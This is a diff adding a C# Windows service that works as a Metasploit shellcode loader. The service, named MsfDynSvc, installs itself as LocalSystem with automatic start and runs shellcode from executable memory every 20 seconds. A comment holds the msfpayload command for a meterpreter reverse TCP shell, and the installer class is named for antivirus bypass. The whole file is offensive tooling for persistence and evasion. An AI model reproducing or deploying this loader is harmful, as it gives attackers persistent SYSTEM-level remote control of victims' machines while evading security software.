|
| 1 | + |
| 2 | +using System; |
| 3 | +using System.ComponentModel; |
| 4 | +using System.Configuration.Install; |
| 5 | +using System.Net; |
| 6 | +using System.Net.Sockets; |
| 7 | +using System.Runtime.InteropServices; |
| 8 | +using System.ServiceProcess; |
| 9 | +using System.Threading; |
| 10 | +using System.Timers; |
| 11 | +using Timer = System.Timers.Timer; |
| 12 | + |
| 13 | +namespace Wrapper |
| 14 | +{ |
| 15 | + class Program : ServiceBase |
| 16 | + { |
| 17 | + #region Fields |
| 18 | + |
| 19 | + private static Timer _timer; |
| 20 | + |
| 21 | + #endregion |
| 22 | + |
| 23 | + #region PInvoke Setup |
| 24 | + |
| 25 | + [Flags] |
| 26 | + public enum AllocationType : uint |
| 27 | + { |
| 28 | + COMMIT = 0x1000, |
| 29 | + RESERVE = 0x2000, |
| 30 | + RESET = 0x80000, |
| 31 | + LARGE_PAGES = 0x20000000, |
| 32 | + PHYSICAL = 0x400000, |
| 33 | + TOP_DOWN = 0x100000, |
| 34 | + WRITE_WATCH = 0x200000 |
| 35 | + } |
| 36 | + |
| 37 | + [Flags] |
| 38 | + public enum MemoryProtection : uint |
| 39 | + { |
| 40 | + EXECUTE = 0x10, |
| 41 | + EXECUTE_READ = 0x20, |
| 42 | + EXECUTE_READWRITE = 0x40, |
| 43 | + EXECUTE_WRITECOPY = 0x80, |
| 44 | + NOACCESS = 0x01, |
| 45 | + READONLY = 0x02, |
| 46 | + READWRITE = 0x04, |
| 47 | + WRITECOPY = 0x08, |
| 48 | + GUARD_Modifierflag = 0x100, |
| 49 | + NOCACHE_Modifierflag = 0x200, |
| 50 | + WRITECOMBINE_Modifierflag = 0x400 |
| 51 | + } |
| 52 | + |
| 53 | + public enum FreeType : uint |
| 54 | + { |
| 55 | + MEM_DECOMMIT = 0x4000, |
| 56 | + MEM_RELEASE = 0x8000 |
| 57 | + } |
| 58 | + |
| 59 | + [DllImport("kernel32.dll", SetLastError = true)] |
| 60 | + static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect); |
| 61 | + |
| 62 | + [DllImport("kernel32.dll")] |
| 63 | + public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); |
| 64 | + |
| 65 | + [DllImport("kernel32")] |
| 66 | + private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, FreeType dwFreeType); |
| 67 | + |
| 68 | + [UnmanagedFunctionPointerAttribute(CallingConvention.Cdecl)] |
| 69 | + public delegate Int32 ExecuteDelegate(); |
| 70 | + |
| 71 | + #endregion |
| 72 | + |
| 73 | + #region Constructors |
| 74 | + |
| 75 | + public Program() |
| 76 | + { |
| 77 | + ServiceName = "MsfDynSvc"; |
| 78 | + _timer = new Timer |
| 79 | + { |
| 80 | + Interval = 20000 // 20 seconds |
| 81 | + }; |
| 82 | + _timer.Elapsed += RunShellCode; |
| 83 | + _timer.AutoReset = true; |
| 84 | + } |
| 85 | + |
| 86 | + #endregion |
| 87 | + |
| 88 | + #region ServiceBase Methods |
| 89 | + |
| 90 | + protected override void OnStart(string[] args) |
| 91 | + { |
| 92 | + base.OnStart(args); |
| 93 | + _timer.Start(); |
| 94 | + } |
| 95 | + |
| 96 | + protected override void OnStop() |
| 97 | + { |
| 98 | + base.OnStop(); |
| 99 | + _timer.Stop(); |
| 100 | + } |
| 101 | + |
| 102 | + #endregion |
| 103 | + |
| 104 | + static void Main() |
| 105 | + { |
| 106 | + Run(new Program()); |
| 107 | + } |
| 108 | + |
| 109 | + private void RunShellCode(object sender, ElapsedEventArgs e) |
| 110 | + { |
| 111 | + _timer.Stop(); |
| 112 | + |
| 113 | + // only run shellcode if you can connect to localhost:445, due to endpoint protections |
| 114 | + if (ConnectToLocalhost(445)) |
| 115 | + { |
| 116 | + try |
| 117 | + { |
| 118 | + // msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=<port> LHOST=<host> R| msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX |
| 119 | + string shellcode = "MSF_PAYLOAD_SPACE"; |
| 120 | + |
| 121 | + byte[] sc = new byte[shellcode.Length]; |
| 122 | + |
| 123 | + for (int i = 0; i < shellcode.Length; i++) |
| 124 | + { |
| 125 | + sc[i] = Convert.ToByte(shellcode[i]); |
| 126 | + } |
| 127 | + |
| 128 | + // Allocate RWX memory for the shellcode |
| 129 | + IntPtr baseAddr = VirtualAlloc(IntPtr.Zero, (UIntPtr)(sc.Length + 1), AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.EXECUTE_READWRITE); |
| 130 | + System.Diagnostics.Debug.Assert(baseAddr != IntPtr.Zero, "Error: Couldn't allocate remote memory"); |
| 131 | + |
| 132 | + try |
| 133 | + { |
| 134 | + // Copy shellcode to RWX buffer |
| 135 | + Marshal.Copy(sc, 0, baseAddr, sc.Length); |
| 136 | + |
| 137 | + // Get pointer to function created in memory |
| 138 | + ExecuteDelegate del = (ExecuteDelegate)Marshal.GetDelegateForFunctionPointer(baseAddr, typeof(ExecuteDelegate)); |
| 139 | + |
| 140 | + // Run this in a separate thread, so that we can wait for it to die before continuing the timer |
| 141 | + Thread thread = new Thread(() => del()); |
| 142 | + |
| 143 | + thread.Start(); |
| 144 | + thread.Join(); // Joins it to the main thread, so that when it ends, execution will continue with main thread |
| 145 | + } |
| 146 | + catch |
| 147 | + { |
| 148 | + // If the shellcode crashes, try to catch the crash here |
| 149 | + } |
| 150 | + finally |
| 151 | + { |
| 152 | + VirtualFree(baseAddr, 0, FreeType.MEM_RELEASE); |
| 153 | + } |
| 154 | + } |
| 155 | + catch |
| 156 | + { |
| 157 | + // Eat it |
| 158 | + } |
| 159 | + } |
| 160 | + _timer.Start(); |
| 161 | + } |
| 162 | + |
| 163 | + private static bool ConnectToLocalhost(int port) |
| 164 | + { |
| 165 | + IPAddress localhost = IPAddress.Parse("127.0.0.1"); |
| 166 | + TcpClient tcpClient = new TcpClient(); |
| 167 | + |
| 168 | + bool isSuccess = false; |
| 169 | + |
| 170 | + try |
| 171 | + { |
| 172 | + tcpClient.Connect(localhost, port); |
| 173 | + isSuccess = true; |
| 174 | + } |
| 175 | + catch |
| 176 | + { |
| 177 | + // I know this is bad code-fu, but just eat the error |
| 178 | + } |
| 179 | + finally |
| 180 | + { |
| 181 | + if (tcpClient.Connected) |
| 182 | + { |
| 183 | + tcpClient.Close(); |
| 184 | + } |
| 185 | + } |
| 186 | + |
| 187 | + return isSuccess; |
| 188 | + } |
| 189 | + |
| 190 | + } |
| 191 | + |
| 192 | + [RunInstaller(true)] |
| 193 | + public class DotNetAVBypassServiceInstaller : Installer |
| 194 | + { |
| 195 | + public DotNetAVBypassServiceInstaller() |
| 196 | + { |
| 197 | + var processInstaller = new ServiceProcessInstaller(); |
| 198 | + var serviceInstaller = new ServiceInstaller(); |
| 199 | + |
| 200 | + //set the privileges |
| 201 | + processInstaller.Account = ServiceAccount.LocalSystem; |
| 202 | + |
| 203 | + serviceInstaller.DisplayName = "MsfDynSvc"; |
| 204 | + serviceInstaller.StartType = ServiceStartMode.Automatic; |
| 205 | + |
| 206 | + //must be the same as what was set in Program's constructor |
| 207 | + serviceInstaller.ServiceName = "MsfDynSvc"; |
| 208 | + |
| 209 | + Installers.Add(processInstaller); |
| 210 | + Installers.Add(serviceInstaller); |
| 211 | + } |
| 212 | + |
| 213 | + public override void Install(System.Collections.IDictionary stateSaver) |
| 214 | + { |
| 215 | + base.Install(stateSaver); |
| 216 | + ServiceController controller = new ServiceController("MsfDynSvc"); // Make sure this name matches the service name! |
| 217 | + controller.Start(); |
| 218 | + } |
| 219 | + } |
| 220 | +} |
| 221 | + |
0 commit comments